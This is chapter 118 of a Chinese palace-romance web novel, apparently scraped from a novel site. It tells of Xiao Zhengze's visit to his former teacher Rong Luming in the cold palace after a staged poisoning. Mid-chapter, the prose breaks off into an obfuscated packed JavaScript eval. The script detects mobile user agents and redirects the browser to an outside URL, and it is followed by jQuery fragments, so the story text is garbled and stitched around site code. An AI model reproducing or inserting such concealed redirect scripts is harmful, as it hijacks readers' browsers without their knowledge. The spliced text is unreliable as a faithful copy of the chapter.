118. 殊途同归(十)

作品:《刃上吻

    “你为了他自污声鸣,值得?”陆徐问道,声音沉郁。


    容鹿鸣没有回答。许多事,他都没想过值不值得。


    “那件事,非为不可吗?”


    “师父您教过我的,百姓的命也是命。”


    “好。”陆徐起身,拿了个桌上的胡饼。


    临走时,还是忍不住说了句:“若一定要去,不如同师父一道回……”意识到自己用错了言词,陆徐连忙道,“去西戎,仍旧,开药铺。”他心里想的是,若在自己的庇护下,即便真回了西戎,也当是无虞。


    容鹿鸣笑了一笑,认真地对陆徐说:“待这事了结,我就在西戎等着师父。”


    陆徐环顾四周,视线又落回容鹿鸣:“其实,那小子待你,还算不错。”


    不几日,陆徐离开了皇宫,说是去寻药。


    在永安宫待到亥时,萧正则回了文华殿。说是要处理政务,不到盏茶功夫,已从后门走了出去。


    托他师父容鹿鸣的教导,他还是皇子时就能自由穿行于宫闱之间,现在,更是轻车熟路。


    他是要去兴师问罪的!今日发生的一切,容鹿鸣事先均未同他说过。在宋淑离倒地的刹那,他才蓦地意识到发生了什么。


    镇国公宋衍之女,后宫地位仅次于皇后的淑妃,谁敢给她下毒?以宋衍的谨慎,宋淑离身边一直有他安排的试毒女侍。


    除非宋淑离自己愿意,谁能迫她喝下那毒药?


    她忍着剧痛,拽住他衣袖时,指节已发白。眼里,是哀哀地恳求,嗫嚅着,吐出两个字:“友笙。”


    若是换了别人,萧正则一定治其一个嫁祸皇后之罪。可宋淑离不一样。当年她陪在太子身边时,最常问的,不是别的,却是容鹿鸣的旧事。她曾向容鹿鸣讨过一幅画,多年来,一直珍惜地挂在床头。


    成为太子妃后,宫里的宴饮雅集,她一概不爱参加。但若听闻容鹿鸣返了京,她便会去。为了要陪伴静妃,容鹿鸣总会去露个面的。


    萧正则曾心有困惑,以为宋淑离是为着什么目的,想要尽力笼络容鹿鸣。可后来却发现,全然不是那么回事。她曾同太子说,想要拜容鹿鸣为师,学习经史与书画。


    太子听后,哈哈一笑,“恐怕是晚了,她的关门弟子你认得,就是他。”太子指指坐在一旁的萧正则。


    “不用那样正式,容少将再去弘文馆授课时,可否允许臣妾前去?”


    少有的,她眼里拢着希冀的光。太子默了片刻,才对她讲:“南境军务繁忙,以后,鸣鸣大约无暇再去弘文馆了。”


    她眼里的光灭了。像是压在松枝下的火苗,本待着阵干爽的风……然而,风未来。萧正则隐隐觉出,宋淑离心底深处,想成为容鹿鸣那样的人。


    她想向太子讨一本容鹿鸣亲手批注的《通鉴》。太子说他手中也只有一本,她可以随时来他书斋里看。


    萧正则什么话都没说。容鹿鸣亲手批注的书,除了这一本,其余的,都在他那。只是旁人都不知道。


    后来,那一本《通鉴》到了宋淑离手中,就置在她床头,不知被她翻阅过多少遍。


    她是决然舍不得害容鹿鸣的。她昏迷前说的那两个字是“友笙”——容鹿鸣的表字,不是“皇后”。这其间包含的情谊和信任,不言而喻。


    容鹿鸣对她说了什么?


    她不懂药理,却肯这样帮容鹿鸣,于她而言,几乎算得上是豁出性命。


    立在冷宫偏殿的花窗外,萧正则一瞬地恍惚,觉得仿佛回到了昨日里。冷宫之内,屋宇不少,只有这里被称为偏殿。因为这里最简陋,亦和其他屋舍隔着点距离。当年萧正则的母亲怀着身孕,犹被关到此处,足见其受到的厌弃之深。


    清苦是清苦,可在母亲被赐死前,日子里常有欢乐。母亲在院里大片缺砖的“土窟窿”里种花、种菜。每月,内务府供给他们的米、面少得可怜。可母亲会给他烙胡饼、做疙瘩汤,把自己种的韭菜和蔓菁切碎,拌到剂子和汤里,萧正则觉得美味极了。母亲有时还会着意省下些面,待到月末,掺上省下的鸡子,给他炸巨胜奴……


    即便在容鹿鸣出现很久以后,他都不能回想这些。每每触到一点回忆,他不会哭,泪都流干了,只是会彻夜难眠,止不住地颤抖。


    幸好,容鹿鸣出现了。她当时以为他在害怕,害怕这从此以后唯他一人的陋室。她守在他床边,作为一名医者、更像是年长他许多的阿姐,整夜整夜地陪着他。


    就像后来当她自战场归来时,他亦守在她床边那样。


    他的命是容鹿鸣救的,不仅如此,若非容鹿鸣的教养,他不会站到如今的位置。


    待掌了权柄,他立即令人将这偏殿收拾出来。其实不必收拾,没人愿意住在这里。这里还保持着当初的样子,同萧正则离开时回望那一眼,看到的全然相同。


    他离开这里,去了静妃那里,做了她的养子。


    一直到很后来,他才知道,此事也是容鹿鸣在幕后默默促成的,甚而,承了太子的猜忌。


    那会儿,他正极力剥离自己,从对容鹿鸣的迷恋里,他以为是迷恋。如同是从野兽身上剥下那温热的毛皮,鲜血淋漓、灼热激烈,他剥离着自己的心。


    他应当克己复礼,只把她当做“容讲郎”。


    彼时,容鹿鸣在南境领兵,与南蛮人交战。她不在身边,这是多好的机会!可是,许多事情、细节,静默之间纷纷朝他聚集,仿佛他虽言忘记,却又于无形之中结了张网,网住了它们。


    他师父容鹿鸣最是无情,从不提及何时归来,从不说再会,每次同他分别都如同诀别!


    可淡笑的面孔之下,她默默为他做了许多事。越想挣脱,这爱念束他愈深。


    无事之时,他就来这偏殿里独坐。昙现、忘筌都被他留在殿外。


    一坐一整天。脑里纷繁的画面不停扰动,深恨的、快乐的、欢欣的、忧伤的……像是由明到暗,再由暗到明的天光。他本枯坐在寒夜里,容鹿鸣出现了,为他带来了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911781|171898||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    永昼。她曾同他讲过,极南之境,有一处圣地,常年白雪覆盖,白日和黑夜都有数月之久。


    但也不全是永昼,想她想得极深的时候,眼前的煦光如同被夜风吹灭的烛火,“噗”地暗掉。


    他留在偏殿里陋室中,常坐整夜,数着万字纹花窗外的闪闪烁烁的星子。甚或绝望地想,把天上的星一颗颗拨下来,也比将容鹿鸣从自己心里剥去容易。


    他为她种了一圃虎头茉莉,对外却只敢说是为静妃所栽。常常折枝赠她,不仅因她钟意,亦因为茉莉——“莫离”,他于心底暗自祈求,容鹿鸣永远不要离开自己。


    现在,还是那时的偏殿,她在屋里,自己在屋外,烛火洒出来,落在他身上,是暖的。格纹窗破掉的那处,他不许工匠去补,仍覆着自己儿时画的那幅《墨兰图》。


    容鹿鸣当时很喜欢那幅画儿,向他讨要。


    他说:“待师父平安归来,便赠与师父。”


    容鹿鸣没说话,只是摸摸他的头。仍旧的,没有任何承诺。


    屋内飘出胡饼冷掉的味道,说不上好闻,萧正则却很喜欢。胡饼摆在案桌上,容鹿鸣坐在桌前,读那本她很少离身的秘本《墨经》。


    满心怒火忘了大半,他推门走了进去,脚步都是温柔的。


    “来了。”容鹿鸣看了他一眼,接着看书。“虽说没有羊肉,可这胡饼里我放了韭菜,尝尝?”


    “特意给我做的?”


    “嗯,我师父不大爱吃韭菜。”


    萧正则抽走她手里的书,把人抱在怀里。有些逾矩,却忍不住将脸颊贴在她鬓边,气息温热,心跳很快。他身上染的白檀叫她安心,可以止痛。


    “鸣鸣。”他说。


    本来坐在这儿,她就感觉一路兜兜转转,却似乎走回了旧日里。如若当年没有牵涉他的因果,现在,会是如何?


    再听他这般喊她,更觉迷离恍惚。


    在这间屋子里,他叫过她“阿姐”,有时叫她“老师”、有时叫她“师父”,成为静妃养子后,为了避嫌,在外面他都叫她“容讲郎”,有时忘了,在这里也这般喊。生气不服时,连名带姓地喊她“容鹿鸣”,也是有的。唯独,从不敢叫她乳名,“鸣鸣”。


    “那一脚,为什么不躲?”她被他的气息整个地拢住了。


    “总要做出些样子来,不然,旁人如何能信?”他靠得太近,她不禁挣了一下。


    他反而抱得愈紧。


    容鹿鸣找了个借口:“师父让煎的药,我还没顾上喝。”


    美盼端着药碗,正在殿外发愁,闻言,立即轻步入内,“少将军,陆院判吩咐让煎的药,业已煎好。”


    容鹿鸣直想打自己的嘴。


    萧正则接过药碗,以银匙轻搅,“不管鸣鸣住在哪里,都永远是朕的皇后。”


    美盼惊觉失言,连忙跪地谢罪。


    “下去吧。”容鹿鸣道。


    萧正则也不看旁人,只把一匙冒着热气的药汁送到她嘴边。